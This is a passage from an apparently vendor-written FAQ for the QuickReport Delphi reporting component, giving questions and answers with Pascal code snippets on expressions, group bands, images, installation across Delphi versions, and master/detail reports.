A. When the report is not on a form, QRExpr controls will not pick datasets that are connected to the report unless you manually add them at runtime using AllDataSets. When the report is on a form, QRExpr will find the datasets on that form automatic.

------------------

Q. I am using a TQRExpr to print the SUM of a field of a Query. But I have a problem. If the Query has no result (zero records) then instead of printing the number 0, It is printing SUM(qry.Total).

A. This is a known problem with QR2 and the work around is to use the OnPrint event of the TQRExpr control to blank out or zero out the value when the value is equal to the expression like the following example:

procedure TfrmReport.QRExpr1Print(sender: TObject; var Value: String);

begin

if sender is TQRExpr then

if Value = TQRExpr(sender).Expression then

Value := '0.0';

end;

(QR3) This has been fixed with QuickReport 3

------------------

Q. When I add lines to a QRExprMemo control at runtime, the control does not filter out any blank lines that may have added.

A. This control filters out blank lines when the lines are defined before the report starts. When you add blank lines in the BeforePrint event, we assume that you actually want them in the memo. The work around is to add code to the BeforePrint event so that you are not adding blank lines at runtime.

------------------

Q. How do you use the FORMATNUMERIC function, I can't find a help files to help me?

A. This function is a wrapper for Delphi's FormatFloat() function.

------------------

Q. Is there an expression that will permit grouping by month? The underlying database has a date field.

A. You have to pass in an expression that would be the month, the easiest way is to use a calculated database field that would be the year and the month (unless you want the same month from multiple years grouped together.

------------------

Q. I want to have a database field as the expression, but the table is not available to me at design time and adding <tablename>.<fieldname> to the expression string at run time doesn't work.

A. To define an expression at runtime, you must define it before the report starts. Group bands initialize their expression at the start of the report and you can not change the expression while the report is running. This limitation will be removed in a future release.

------------------

Q. I couldn't find any information for the meaning of the "arguments" parameter in the RegisterQRFunction

A. The last parameter is used for the expression builder to know what

group to put the function in and what parameters to accept.

First is the group (1-6), followed by one character for each

parameter.

1NN would be in the first group (don't remember which one), with two

numeric arguments.

2SNB would be in the second group, three parameters (text, numeric

and boolean

------------------

Q. Expression wont work if the field name has a space or a hyphen in it

A. The expression parser will not work with field names with spaces or hyphens in it. This is a limitation that we try to fix in a future release. There are a few simple workarounds for this. One way is to use a TQuery control and rename the field name in the SQL statement. If you have to use a TTable, create a calculated field based that equals the original.

(QR3) With Quick Report 3, you can use fields with spaces in TQRExpr expressions if the field is enclosed in square brackets like '[Table1.Field 1]'.

------------------

Q. My function doesn't work I want to use:

if (table1.field1 = '', 'Blank', table1.field1)

to output the text "blank" when the field is blank or null

A. Change "if (" to "if(" and the function will work.

------------------

Q. I can't sum TTimeFields?

A. TTimefields get converted to strings by the expression evaluator which prevents the report from doing

math operations on it. A future release will have a a function to 'convert back' to a float.

------------------

Q. Expressions are being evaluated from right to left

A. This will be addressed in a later release. The work around is to use parentheses

------------------

Q. The following expression always returns 0: SUM(IF(Query1.CartonID='SI', Query1.Caliper, 0))

A. Change the 0 to 0.0 and the SUM() function will work correctly.

------------------

Q. Why doesn't the expression Count(Table1.Field1) return the right value?

A. The Count function in the expression builder returns a number that increments by 1 with every call to Count. It does not behave like the SQL Count() function that counts the variable passed to the function. If you click on Count in the expression builder you should see "Increments for each iteration" appear under the Count label as the function's description.

-----------

Q. How do I check the value of QRExpr control at runtime?

A. The "Value" property of a TQRExpr component is of type TQREvResult, which is defined in qrprntr.pas. You can check "Value.Kind" to see what the datatype is. The following table shows how to retrieve the results of the expression based on the value of "Value.Kind"

If Value.Kind = resInt then the results of the expression are in Value.IntResult

If Value.Kind = resDouble then the results of the expression are in Value.DblResult

If Value.Kind = resString then the results of the expression are in Value.StrResult (defined as string[255])

If Value.Kind = resBool then the results of the expression are in Value.BooResult

If Value.Kind = resError then the expression had an error

------------------

Q. I use QRExpr to calculate the Average of a currency field but it shows as numerical, not currency.

A. This is a known limitation of the QRExpr control. You can have the control display the currency character by using the mark property and set the mask to something like '$,###.00'. The QRExpr control's mask is the format string used by FormatFloat() and FormatDateTime functions. Please refer to their documentation for allowable values.

------------------

Q. Why does my report crash when I use TQRExpr controls under Delphi 1? The same report runs fine when I compile it with Delphi 2.

A. Delphi 1 uses a lot of stack space when you use nested expressions with the TQRExpr control. This is why we suggest that you raise the stack size as high as Delphi 1 will let you go for your project. We allocate all of our expression variables from the heap. but Delphi 1 still uses stack space to handle the multiple function calls required to evaluate the expressions. With Delphi 1, some expressions are bettered handled by adding code to calculate the results instead of using the TQRExp control.

------------------

Q. I have a simple query that uses the SQL COUNT(*) and I am?trying to display it in a QRExpr component but it is not displaying that field.

A. The SQL COUNT(*) is conflicting with the QR COUNT function. You will have to alias the column or use a QRDBText to output the field.

------------------

Q. I can't get the QRExprMemo to display more than 255 characters when I use Delphi 1.

A. The number of characters in a QRExprMemo is limited to the maximum string size. In Delphi 1, the maximum string length is 255 characters.

------------------

Q. How can I count frequencies of the values in a dataset field?

A. You can do this with expressions like:

SUM(IF(Table1.GENDER = 'M', 1, 0)) and SUM(IF(Table1.GENDER = 'F', 1, 0))

------------------

Q. How can I get the dataset of the report to display in the QRExpression if the dataset is on a separate form?

A. You will need to add the dataset to the report, using the report's AllDataSets property. The expression will not work at design time, but it will work at runtime.

Example:

Form1 has a dataset named tbCountry with the field 'Capital' in the table.

Form2 has a report named QuickRep1 with a qrexpr control on the summary band.

You want qrexpr to read the capital field of the tbCountry dataset.

You would have form2 use form1 and in the report's BeforePrint event you would add the tbcountry table to the report with the following syntax:

procedure TForm2.QuickRep1BeforePrint(Sender: TQuickRep;

var PrintReport: Boolean);

begin

with quickrep1.AllDataSets do

if IndexOf(Form1.tbCountry) = -1 then

Add(Form1.tbCountry);

end;

The QRExpr.Expression property would be set to tbcountry.capital

------------------

Q. I want to sum a field, but I need to ignore the highest and lowest value, can this be done?

A. You can do this by using the expression 'SUM(Field)-MIN(Field)-MAX(Field'. Please note that if you only have two records, the sum will be zero.

------------------

Q. What are the allowable datatypes that can be used in a TQRExpr control?

A. The allowable Delphi datatypes that can used in a TQRExpr control (or Group expression) are longint, double, string[255], and boolean. Currency fields are stored as double. Date and time fields are stored as string.

------------------

[Frames]

==================

Q. How can I separate the letters from the top of the frames with a QRDBText control?

A. The current release provides no control over the relative positioning of the frame in regards to the text. You can get finer control by using a QRShape control and place it underneath the text control.

------------------

Q. Setting DrawBottom to true of the report's Frame property of works on preview, not when printed.

A. The default bottom margin of a report goes beyond the printable area of many printers. If you set the bottom margin to a greater value (try 1.0 in as an example), you should see the bottom frame.

------------------

Q. Some lines do not appear in the preview, but they appear in the printout.

A. The report is rendered to a TMetafile object when it is sent to the preview. Depending on the zoom value of the preview, the scaling of the TMetafile may crop out some of the lines. If you zoom in (you may need to use a custom preview to zoom in close enough), the lines will reappear.

------------------

[Groups]

==================

Q. How do I print a group footer band?

A. Add a TQRBand, set it's type to groupfooter and link to rbGroupFooter. You would then link it to TQRGroup band by the footerband property. The new band will print at the end of the group of detail band.

------------------

Q. Is there an expression that will permit grouping by month? The underlying database has a date field.

A. You have to pass in an expression that would be the month, the easiest way is to use a calculated database field that would be the year and the month (unless you want the same month from multiple years grouped together.

------------------

Q. I have a billing report. In the group-footer I take the sum of the amounts. I print it at the summary . Now I would like to print the intermediate-results of the amounts at the end of each page (except at the end of the last page). How can I do it?

A. You would put the TQRExpr component to handle the amounts on a page footer band. Set the QRExpr's ResetAfterPrint to true so that the total will get reset after each page. To suppress the final page footer, set the report's Options.LastPageFooter to true.

If you want to have a page footer on the last page, but want to suppress the output of the last page's total, one easy way to tell that you are on the last page is to use a summary band. It will be called before the last page footer and you can use it's BeforePrint event to set a flag to prevent the output of the final QRExpr total. If you don't need a summary band, set it's height to 0.

------------------

Q. When I have a group header for a sub-detail band, the header gets printed twice for the first record and only once for every record thereafter.

A. If you just want a group header band to print for each set of subdetails, do not use a TQRGroupband, that band is for when you want to break up the data in groups. Just set the subdetail band's Bands.HasHeader to true. This will add a band of type TQRBand and it will only print at the start of each set of subdetails. This is documented on page 5-73 of the manual under the topic "BANDS PROPERTY FOR TQRSUBDETAIL".

------------------

Q. TQRGroup does not work with an expression on a queryfield if the query component is not on the report form.

A. The dataset must be either on the form or on the report's datamodule.

------------------

Q. A new page is not generated on the GROUPHEADER if the current page number is 1 (one) and the Property NewPage is TRUE. It will work fine if this occurs on page number 2 or higher.

A. QuickReport was designed to ignore the first ForceNewPage band if that band is on the first page. To get around this, set ForceNewPage back to false and call the report's NewPage method from the BeforePrint event of that band like the following:

procedure TfrmGroupTest.QRGroup1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

Quickrep1.NewPage;

end;


Quick Report FAQ [ 2 ]

------------------

Q. How do I set a group expression to break on multiple fields?

A. Set your group band expression to 'Query1.Field1 + Query1.Field2', if they are strings. If they are not strings, convert them to strings first using the STR() function. If that does not work, you can create a Calculated Field in your Dataset that is a combination of the fields and have the group.expression use that field.

------------------

Q. We query our data grouped by a field and is there any neat way to get the text "to be continued" to the bottom of the page if the group is several pages, i.e. how do we know before page change the last row was not the last record in the group?

A. There isn't a "neat" way to do this with the current version. You may want to add with some code to the BeforePrint event of the page footer band. You could check the next row in your dataset to see if the group changes. Just remember to leave yourself in the original row of the dataset so that you don't skip any rows.

------------------

Q. How do I get group headers to print after a page break?

A. Group bands in Quick Report 3 have a ReprintOnNewPage property to do this. With Quick Report 2, you can emulate repeating group headers through code and some duplicate bands. An example program that shows how to do this can be downloaded from our web site. Look for the file "repeats.zip".

------------------

Q. How do I create a group band at runtime?

A. Before the report starts, you can add a group by creating a control of that type and setting some of it's properties. The following code would add a group band to a report using the orders table

procedure TfrmCreateControls.FormCreate(Sender: TObject);

begin

{ Create the group on this form }

QRGroup1 := TQRGroup.Create(Self); { QRGroup1 defined as TQRGroup in the form declarations}

with QRGroup1 do

begin

{ assign it to this report }

Parent := QuickRep1;

{ assign it to the detail band }

Master := Parent;

{ Set it's expression }

Expression := 'CustNo';

end;

{ Now add a text control to this band }

with TQRDBText.Create(Self) do

begin

Parent := QRGroup1;

Dataset := QuickRep1.Dataset;

DataField := 'CustNo';

end;

end;

------------------

Q. I have several Group Bands in my report. How is it possible to change the printing order of these bands at runtime. Eg. at case one I need to print only Group1, case two Group2, Group 1, Group 3, case three Group 4, Group 2 etc. The order is told by end user at runtime.

A.?QuickReport uses the creation order of the group bands to set the order at runtime.?You can change the ordering of the group bands by calling the their SendToFront and SendToBack methods.

------------------

[Images and Shapes]

==================

Q. My images do not print consistently.

A. This can happen for a few reasons. If you are using a TQRDBImage and the images do not always print, it may be a problem with how the BDE is handling the BLOB data.

Instead of using a TQRDBImage, use a TQRImage and a TDBImage. Assign the database bitmap to the TDBImage (you will need to add a TDataSource to assign the field to the TDBImage). In the BeforePrint event of the band that contains the TQRImage, assign the TDBImage's bitmap to the TQRImage's bitmap.

Example:

procedure TfrmImageTest.DetailBand1BeforePrint(Sender: TQRCustomBand;

var PrintBand: Boolean);

begin

qrimage1.picture.bitmap.assign(DBImage1.Picture.Bitmap);

end;

If you are using a TQRImage and loading the image directly into the component does not work, try loading the image into a TBitmap and then copying the data to the TQRImage component.

Example 1:

MyBitmap.LoadFromFile(somefile); // MyBitmap is a TBitmap that is created and freed somewhere else

QRImage.Picture.Bitmap.Assign(MyBitmap);

Example 2:

MyBitmap.LoadFromFile(somefile);

QRImage.Picture.Bitmap.Height := MyBitmap.Height;

QRImage.Picture.Bitmap.Width := MyBitmap.Width;

QRImage.Picture.Bitmap.Canvas.Draw(0,0, MyBitmap);

------------------

Q. How I do to make background shadow in alternated lines (detail) of report?

A. Place a TQRShape underneath all of the other controls on the band.?Make sure the transparent property of the text controls on top of the shape is set to true.牋 In the BeforePrint event of the Band, "toggle" the Brush.Color of the TQRShape.?This will not appear at design time, but will work at runtime. Example:

procedure TfrmMasterDetail.QRSubDetailItemsBeforePrint(Sender: TQRCustomBand; var PrintBand: Boolean);

begin

?{ toggle the item background so that we can have alternating colors }

?{ like the greenbar paper we all know and love. }

?with QRShape1.Brush do

牋?if Color = $00F0F0F0 then

牋牋?Color := $00E0E0E0

牋?else

牋牋?Color := $00F0F0F0;

end;

This will allow you have a color that does not use up the entire width of the band. If you want to do the entire band, set the band's color property and leave out the TQRShape.

------------------

Q. Is there a 3rd party component vendor for QR that supports PNG images?

A. I don't know of any PNG controls for QR2. Delphi 3's Image control can be extended to support other formats, if a vendor has provided a package that adds PNG to the standard Delphi 3 TImage control, it should work in Quickreport 2.

------------------

Q. (Delphi 3) I am trying to use the QRImage component to print a jpg image. I noticed that if I select a jpg image after placing a qrimage component on a quickreport, it shows up correctly on screen. But when I then PREVIEW the report, the image is not there.

A. Did you add jpeg to your uses clause for that report?

------------------

Q. Why wont QRImage doesn't print icon files when Stretch is set to true?

A. The Stretch property has no affect on icons. This is documented in Delphi's help for the stretch property of TImage (ancestor of QRImage)

------------------

Q. My shapes don't print correctly on bands that wrap over a page

A. Right click on QRShape and select print to back so that it get printed first

------------------

Q. Why do TQRShapes appear thicker on screen than when it prints

A. There is a known problem where the thickness of the Shape's lines vary between the preview and the printer. The work around is to set the Shape.Pen.Width property to a variable and set the value depending on whether you are printing or previewing. In the report's BeforePrint event, you can check the value of the report's QRPrinter.Destination property. If it's set to qrdMetafile, then it's rendering the preview. If it's set to qrdPrinter, then it's rendering the report directly to the printer.

------------------

Q. I'm creating a report which requires a couple of vertical lines on the page.?I have added the appropriate QRShapes (shape=qrsVertLine) to the detail band.?How do I continue the vertical line on the page even when there are not enough detail records to fill the page?

A. Try dropping a TQRShape directly on the report control (not on a band), and set it's height to fit the printable area of the page. If you use "Send to back" on the shape, the bands will appear on top of it. This will give you a continuos shape going down the page. You may need to add code in the report's BeforePrint event to set the Size.height of the QRShape to the height of the report minus the top and bottom margins.

Note: This will not work with Composite Reports.

------------------

[Installing & converting from previous versions]

==================

Q. I am having a very frustrating time trying to import Applications designed in Delphi 3 (with QuickReport Pro 3) into Delphi 5. The problem is that so many of the QR units fail to be accepted, the error always being that the unit was 'compiled with a different version of . . .'. How can I fix this?

A. We have a fileset of 3.0.5 specificly compiled for Delphi 5, you can't use the QuickReport fileset from Delphi 3. You should also verify that your project is not pulling in any Delphi 3 directories or files.

------------------

Q. When I start Delphi an entry point not found in delphi32.exe with this error: The procedure entry point @Qrmdsu@initialization$qqrv could not be located in the dynamic link library Qrpt40.bpl.

A. It sounds like a conflict with a previous version. If you have not removed QR305 and got Delphi 4 running again, do that now. If you are not familiar with how to remove packages outside of Delphi, you can do this by deleting a registry key. The QR installer writes an install.log file in the delphi directory. Towards the end of the file, it lists the registry key used to register the package. If you delete that key with regedit, you should be able to restart Delphi 4.

After getting Delphi running again, remove all previous versions of QR from Delphi and try reinstalling 305 again.

We do have the source code only version on our download page if you want to try rebuilding the package manually.

------------------

Q. How can I install the help file?

A. There is a freeware program for installing Delphi help files named 'HelpLinker'. HelpLinker was developed by Scoutship Software. You can download the program from http://www.scoutship.com/helplinker.htm

------------------

Q. Where can I get a list of all of the files that were installed when I ran the QuickReport installation program?

A. Each installer creates or updates a file named install.log in the delphi or c++builder directory. This is a standard log file that the install programs use and will list the files installed and registry keys that were updated.

------------------

Q. (Qr3)I just installed 3.0.5 into Delphi and I get access violations when I add a TQREditor component to a form.

A. If you are using the French or German versions of Delphi, they come with a localized copy of the qrpt40 (or qrpt50, qrpt43, depending on your version of Delphi) package file. You will need to delete qrptXX.fr (or qrptXX.de) file.

------------------

Q. After installation of Quick Report 3.0.4 (Professional) for Delphi 4 on my computer, I started to build a new project. But at compilation I encountered the following error: QRPrev was compiled with a different version of comctrls: TToolBar

A. Have you applied Update Pack 2 (or newer) to your Delphi 4? This is required for QuickReport as of the 3.0.4 release.

------------------

Q. I just installed QR 3 into C++Builder 3 and I can't link the project.

A. Make sure that the project is using qrpt43c as the runtime package instead of the qrtp35 file from QR2. The QR3 installer will not modify your project files, you may have to manually edit the package list and header files used by the project.

------------------

Q. How do I install the latest patch to QuickReport?

A. We do not use patch filesets. Each fileset that we release is the complete version of QuickReport Pro. It is not necessary to apply other QR patches when installing an update. With Delphi 4, we require that you have previously installed Update Pack 2 (or newer) when installing QuickReport 3 Pro. To install QuickReport 3 Pro, you must exit Delphi and any application that used the Delphi runtime packages. If you are using any 3rd party packages that link to QuickReport, you must remove them from the package list before installing QuickReport 3 Pro. After QuickReport 3 Pro has been installed, you can rebuild those packages to link in the updated QuickReport files (Please refer to the documentation and/or tech support for those packages when rebuilding them). After exiting Delphi, just run the QR executable. It will display the warning message about removing TeeChart and Decision Cube and then install the QuickReport 3 Pro package. You can then restart Delphi.

------------------

Q. Do you have any tools that automatically transform files from Delphi 2 and QR1.0 to Delphi 4 and QR3.0 ?

A. We do not have any tools that will do this. One way to convert from QuickReport 1 to new versions of QuickReport is to run two copies of Delphi, each one using one of the QR versions. Start each copy of Delphi with a different version of QuickReport. Load the QR1 report into the copy of Delphi running with the QR1 components and then create a new report in the other copy of Delphi (the one running the newer QuickReport) Cut and paste the components from the QR1 to the new report until you have rebuilt your report.

------------------

Q. I installed QuickReport 3 and I can't load the dclqpro package.

A. The dclqpro package is a QuickReport 2 package and can not be used with QuickReport 3. The code in dclqpro is now in the main dclrpt40 (of dclqrpt43) package.

------------------

Q. I can't install QuickReport 3 into Delphi 3. Even after I remove QuickReport 2, I still get the error "TQuickReport class already exists" when I try to add the QuickReport 3 package.

Q. I can't install Quick Report 3, it conflicts with WPTools (or any package that uses Quick Report_.

A. If you have any 3rd party packages that use QuickReport 2 (like TeeChart 3), they will implicitly load the QuickReport 2 runtime package when Delphi loads. You will need to remove that package or packages before installing QuickReport 3. After installing QuickReport 3, you can go back and rebuild the packages that used QuickReport 2. You will need to edit the .dpk file for the package and replace any reference of qrp30 to qrpt43.

1. Remove the package or packages that use QuickReport 2 from the package list. You must completely remove the package from the list, disabling it will not be enough.

2. Remove the QuickReport 2 packages, DCLQRT30.DPL and DCLQRPRO.DPL

3. Install Quick Report 3

4. Locate and open the package file (.dpk) for the each package. The name and location of the file will vary. Some of then may be in the Delphi lib directory, some vendors place them in a separate directory. If you click on the package in the package list dialog, it should display the name of the directory where the package file is. The .dpk file should be in the same directory. You can also use the Windows File Find to locate all of the .dpk files on you machine.

5. Look for any reference to qrpt30 in the requires list in the .dpk file. This is the Quick Report 2 file. Remove it and recompile the package. It should find the QuickReport 3 file, qrpt40 (qprt43 for Delphi 3). If it doesn't find it or tries to use qrpt30, you will need to manually edit that line and add the QuickReport 3 file.

6. Rebuild the package.

In your Delphi bin directory, you can execute the following DOS command line to get a list of packages that use QuickReport 2

for %x in (*.dpl;*.bpl) do find /I /C "qrpt3" %x

This will list the name of each package and the number of times that the text qrpt3 occurs in that file. If you have 3rd party packages that are installed to a different directory, you can run that command there.

------------------

Q. My custom preview doesn't work the way it did with QR1

A. The preview must be called with Show instead of ShowModal. This a change from the QuickReport 1 behavior, but is required for QuickReport 2.

------------------

Q. In D2 and QR 1.1 I used "TQRCustomControl" how can I get it to work in D3 and QR2.0 ?

A. This was replaced in QuickReport 2 by the TQRPrintable class. This is documented in the manual. The example control detailed in the manual had a couple of bugs, a better example control can be downloaded from our web page under the name "qrcb.zip".

------------------

Q. We have just installed QR20K instead of QR20Kbeta (working with D3 +Language Pack). We now notice that the Quick Report Units are not translated into Dutch as it used to be with QR20Kbeta.

A. You will need to uninstall and then re-install the Language Pack.

------------------

Q. I am porting a report from QR1 to QR2 and the FromPage and ToPage properties are missing.

A. In QuickReport 2 they are named FirstPage and LastPage.

------------------

Q. I keep getting the error: "Can't load package (the path & such)" A device attached to the system is not functioning"

A. Delete the file qrpt30.dpl from the delphi 3.0directory.

------------------

Q. Recently I upgraded Delphi 3 to Delphi 3.02. I now get an error trying to install QuickReport 2 Pro package.

Error Message comes back as: Can't load package c:.dpl. A device attached to the system is not functioning.

A. When upgrading Delphi 3 to the new release, you must reinstall QuickReport 2 and follow all of the original instructions. This error is happening because you did not delete all copies of qrpt30.dpl from your system BEFORE installing QR Pro.

------------------

Q. I recently received the latest copy of Delphi v3, build number 5.83. Whenever I load Delphi, an error message appears:

PROCEDURE ENTRY POINT QREXTRA.TQREDITOR AT 7DBEC950 COULD NOT

BE LOCATED IN DYNAMIC LINK LIBRARY QRPT30.DPL

A. The Delphi 3.01 maintenance release comes with the standard version of QuickReport 2.0g and it does not come with the QREditor component. You will need to reinstall your current QuickReport Pro over the one that comes with Delphi 3.01.

------------------

Q. I am trying to convert a Report from version 1.x to 2.0i, in Delphi 3. In version 1.x it was possible to have several detailbands in the same report, and then enabling the detailbands as they where needed, thus having different bands visible, depending on a field in the dataset.

A. QuickReport 2 does not support multiple detail, page header, or title bands, but each band can have a child band and you can control the output of each band individually at runtime. Please see the manual topics on ChildBands for more information.

------------------

Q. The TQRGroup property GroupData was in Version 1 does not exist in QuickReport 2. Is there a replacement?

A. The QuickReport 2 does not have a groupdata property, it has an expression property for determining group breaks. Setting this property is documented on page 2-41 of the manual.

------------------

Q. [Delphi 3] How can I restore a German layout during runtime in the Preview ?

A. The German resource files supplied with Delphi 3 does not work with current release of QuickReport Pro. We will post a revised German resource file as we can get it updated.

------------------

Q. I updated to QuickReport 2 with C++ Builder and I can't compile my existing QR1 reports.

A. In addition to following Appendix C in the manual, C++ Builder users will have to remove the following line from their source code:

#include <vcl.hpp>

This file is part of QuickReport 1 and will cause conflicts when compiling with QuickReport 2

------------------

Q. The QRGroup in version 1.0 had a field called DataField, in the 2.0 version this field doesn't exist. In the unit that called the report I would set the contents of this field. How do I do it now?

A. The QuickReport 2 QRGroup has an expression field that works like the expression property of a QRExpr component. This is documented on page 5-102 of the manual.

------------------

Q. I cannot run the QuickReport 2 demo programs in Delphi 1.

A. We apologize for that, but that error will not stop Delphi 1 from compiling the QR2demo. If you select "Ignore All" when errors pops up when loading a form, the project will run under Delphi 1. Just load each form and save it back out again. The errors will only appear once.

------------------

Q. I could not find the Linkband feature that QR1 has.

A. This is was not in Quick Report 2, but returned in Quick Report 3

------------------

Q. When compiling and starting the qr2demo.dpr the following error occurs: Error while reading GrpListForm.Font.Charset. Property does not exist !

A. The version of Delphi that you used did not support that property, you should be able to load the form by selecting "Ignore All" on the error dialog.

------------------

Q. In QR1, we had ShowDialog Property to Show PrintSetup Dialog before Print, but in QR2 does not have this. How can I do this function?

A. If you call the Report's PrinterSetup method, this will set the printer settings for the report before you run it. You could do it like:

with frmReport do

begin

QuickRep1.PrinterSetup;

QuickRep1.Preview;

end;

------------------

Q. I installed QuickReport Professional version 2.0 in my Delphi 3.0, all went well and the two new components were installed. When I try to run the example project for the QREditor Component, EDITOR.DPR, I get a error message in line 41 of the QREDFOR unit that says: Undeclared identifier: TQREditor.

A. Please make sure that you have enabled the dclqlpro.dpl package under project options. This package is labeled "Delphi QuickReport Professional Components" and it should be in your "...3" directory.

------------------

Q. I just installed QuickReport 2 Pro, but I can't find the editor component

A. This control gets installed when you install QuickReport, it's usually one of the rightmost components on the qreport pallet.

------------------

Q. After I install QuickReport Pro into Delphi 3, I only see the QREditor and QExprMemo components

A. Make sure that you have selected the dclqrt30.dpl package

------------------

Q. My QuickReport right-click menus have blank lines (German release of Delphi 3)

A. In the "bin" directory of delphi, delete the file "dclqrt30.DE". In the windows system directory and in delphi 3.0, delete "qrpt30.DE"

Borland is using "FR" extension for the French release. So you need to delete all copies of "dclqrt30.FR" and "qrpt30.FR" before installing QR2 Professional.

------------------

Q. I keep getting CGI time outs when I try to download from your web site.

A. We have had some technical difficulties on our server and with our ISP. If you get an error, please

again later.

------------------

Q. I have upgraded to version 2.0 from 1.1. Since then I can't load an already saved report.

A. The saved reports from QuickReport 1 are not compatible with QuickReport 2

------------------

Q. What happened to the thumbnail feature of QR1?

A. Thumbnails are not supported in QuickReport 2.0.

------------------

Q. I tried to download a file from your web site but I get the 'Document contains no data' message.

A. The maximum number of users that can access our web site may have been reached. Please wait a few minutes and try again.

------------------

Q. Every time I try to download the new release of QR, I receive the message: Impossible to open http://www.qusoft.no/scripts/filelist/filelist.exe?DL.

A. What program are you using to download QuickReport? If you are using Microsoft Internet Explorer 4.0, we have received reports that this program can not download from many web sites, including our own. MS IE 3.0x and Netscape have no problems downloading from our site.

------------------

Q. How can I tell which version of QuickReport is installed in Delphi?

A. When you right-click on the QuickReport component, the version is displayed as the first line of the pop-up menu.

------------------

Q. But what is that TQRExprMemo? I can't find this component....

A. This component is in the qrbonus unit included with Quick Report 2. You'll need to install that unit to get that control. Quick Report 3 Pro does not have a qrbonus file and it installs TQRExprMemo when you install the package.

------------------

Q. I have removed QuickReport 2 Pro from the package list but how do I reregister it?

A. That means that you will need to add that package back into Delphi 3.

Select Component->Install Packages

Press the Add button in the "Design packages" panel.

Select the bin directory in your Delphi 3 directory

Select the dclqrt30.dpl and press the Open button

Repeat for the dclqrpro.dpl package.

Finally, press "OK" in the "Project Options" window.

If this does not work, I would try reinstalling the QuickReport all over again, making sure that you follow the instructions in the readme.txt file without missing a step.

------------------

[Master/Detail reports]

==================

Q. How do you do multiple subdetail bands at the same level?

A. You would use multiple subdetail bands, one for each child table. The master property of each subdetail would be set to the report.

------------------

Q. Is there any way to print the set of subdetail bands before the detail band?

A. Set the subdetail band's PrintBefore property to true and it will print before the detail band.

------------------

Q. My master/detail reports do not print any of the detail records.

A. There are a few things to check. Make sure that the subdetail's dataset property is set to the correct dataset. Make sure the subdetail band's dataset (the detail) is linked to the dataset of the report (the master). With TTables, this is done through the MasterSource and MasterFields properties. With the TQuery component, you would have set Params properties. Also check to see if you are setting the DisableControls property of the master dataset, this will disable master/detail relationships.

------------------

Q. I would like to know if it is possible to include subreports into reports like Microsoft Access.

A. QuickReport 2 has a similar feature with the TQRSubDetail band. This is documented in the manual and help files. Additional information can be found in this section of the Knowledge Base. A Master/detail tutorial project is available on our download page.

(QR3) The QR3DEMO project on our download page includes a couple of master/detail reports.

------------------

Q. How do I insert a new QRsubdetail band in between two existing subdetail bands? I have a very long report and when I insert a new band at the end and use the "move band up" option on the pop-up menu, it seems to really mess the report up.

A.?QuickReport uses the creation order of the group bands to set the order at runtime.?You can change the ordering of the group bands by calling the their SendToFront and SendToBack methods.

------------------

Q. How do I create a QRSubDetail band at runtime?

A. The following code creates a subdetail band and adds a QRDBText control to it:

SubBand := TQRSubDetail.Create(self);

MyText := TQRDBText.Create(self);

with SubBand do

begin

Height := 20;

Parent := QuickRep1;

Master := QuickRep1;

Dataset := tbOrders;

end;

with MyText do

begin

Top := 0;

Left := 10;

Parent := SubBand;

Height := 17;

Dataset := tbOrders;

DataField := 'OrderNo';

end;

------------------

Q. I could not get the SUM() expression to work on subdetail bands.

A. Make sure that you have Master property of the QRExpr control set to the SubDetail band.

------------------

Q. I have a two level report where I on the primary level tries to cancel the output for both levels by setting the printband property to false for some of the primary records. Why is the secondary level printed anyway? How can I avoid this?

A. The PrintBand feature was designed to work independent of any other band. In this case, one work around would be to set the detail band's tag property to 1 when print and 0 when you do not print. When you get to the subdetail, set it's PrintBand to true only when the detailband's tag property is greater than 0

------------------

Q. I want to make a report with 2 subdetails. The first subdetail works fine, but the second I need that it has 2 or 3 columns but I don't know how can I make that a subdetail can have 3 columns and the other sections has only one column.

A. You can not do this with QuickReport at this time. The number of columns applies to all detail and subdetail bands. One work around is to put three sets of TQRLabels on your second subdetail band and manually handle the columns. In the BeforePrint event of the band, you would populate the first set of QRLabels. You would then call the dataset's Next method (if not EOF) and populate the 2nd set of QRLabels. If not EOF, you would do one more time for the 3rd set of labels.

------------------

[Misc]

==================

Q. The recordcount is very slow in Delphi if there is OnFilterRecord event connected because all the dataset will be scanned to return the number of records. How can I speed that up?

A. Using the OnFilterRecord event is not very efficient when used with QuickReport. Not only is it slow with the preview, but printing from the preview would cause the filterevent to hit for every record again. It would be faster to use a TQuery component and filter the data with the SQL statement. If that is not possible, create a temporary table and populate it with the data from the filtered table and have QuickReport use the temporary table. It would preview and print much faster than a table that uses a filter.

------------------

Q. If I change the size-property in the Objectinspector, the size has the Unit in MM. If I change the size in the BeforePr韓t-Event the Unit seems 1/10 MM, so I must multiply my Value's by 10. Is this an error?

A. At runtime, the report switches to native units, which are in 1/10 mm. We switch the units to native so we can be as precise as possible.

------------------

Q. Is there any difference between having a report on a form or by itself?

A. We have found that porting reports from one version of Delphi or C++Builder to another to be very problematic if the report is not on a form. Having a report on a form is more flexible because you can use the form's Create/Destroy events to create and free accessory datastructures.

------------------

Q. What files are needed to deploy applications using QuickReport?

A. If you are using runtime package, you need to include the QuickReport (example: qrpt40.bpl) package with the other runtime packages, otherwise no additional files are needed specifically for QuickReport.

------------------

Q. I get access violations with QuickReport 3 when I call the preview repeatedly

A. This is an open issue that we are still working on. The work around is to call Application.ProcessMessages either before or after each call to Preview. This will allow each preview to close down properly before the next one starts.

------------------

Q. My reports do not print when they are run under NT's Scheduler (AT command) or as a service (TServiceApplication).

A. From Microsoft's Knowledge base article Q152451 (http://support.microsoft.com/support/kb/articles/Q152/4/51.asp) : Printing fails because no default print device is defined for the service account. This article has a lengthy work around listed.

------------------

Q. I get an access violation when I close the report's dataset in the report's AfterPreview event.

A. You can not close (or free) the report or it's dataset in this event. You would do that type of code after the call to Preview returns.

------------------

Q. Is it possible to have a QR DBText,QRLabel, or QRSubdetail with an OnClick event? When I'm previewing a report I would like to Click on something (band,field,label, etc) to launch another report.

A. This functionality does not exist in QuickReport 3, but this is planned for QuickReport 5 due out later this year.

------------------

Q. How do I create crosstab or pivot reports with QuickReport?

A. QuickReport does not have crosstab (aka pivot table) support built in, but you can create reports with some work. We have example reports on our download page that show two methods of writing a crosstab report. The crosstab.zip file contains a crosstab report built using an array. The CUBE_RPT.ZIP file contains a report that prints the data displayed in a Decision Cube.

------------------

Q. My report crashes under Windows 2000 and/or Windows NT

A. In qrprntr.pas, there is a function named TempFileName and it is probably not allocating enough characters for the path to the Windows temp directory. This has been addressed for QR 3.0.5. For QR2, you can replace the function with the following code:

function TempFilename : string;

var

AName,

ADir : array[0..255] of char;

begin

GetTempPath(255, adir);

GetTempFilename(aDir, PChar('QRP'), 0, aName);

